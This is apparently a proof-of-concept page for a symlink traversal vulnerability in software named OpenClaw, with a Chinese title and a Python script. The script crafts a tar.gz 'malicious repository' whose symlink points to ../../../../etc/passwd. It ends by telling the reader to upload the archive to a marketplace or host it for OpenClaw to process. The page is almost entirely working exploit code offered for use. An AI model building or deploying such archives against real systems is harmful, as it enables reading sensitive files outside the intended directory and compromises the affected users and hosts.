CVE-2026-43570 OpenClaw符号链接遍历漏洞

import os import tarfile def create_malicious_repo(): """ Creates a malicious tar.gz archive containing a symlink. This PoC demonstrates how to craft a repository that escapes the root. """ filename = "exploit_repo.tar.gz" with tarfile.open(filename, "w:gz") as tar: # Create a TarInfo object for the symlink info = tarfile.TarInfo(name="repo_root/payload") info.type = tarfile.SYMTYPE # The symlink points to a sensitive file outside the repository root info.linkname = "../../../../etc/passwd" # Add the symlink to the archive tar.addfile(info) print(f"[+] Created malicious repository: {filename}") print("[+] Upload this to the marketplace or host it for OpenClaw to process.") if __name__ == "__main__": create_malicious_repo()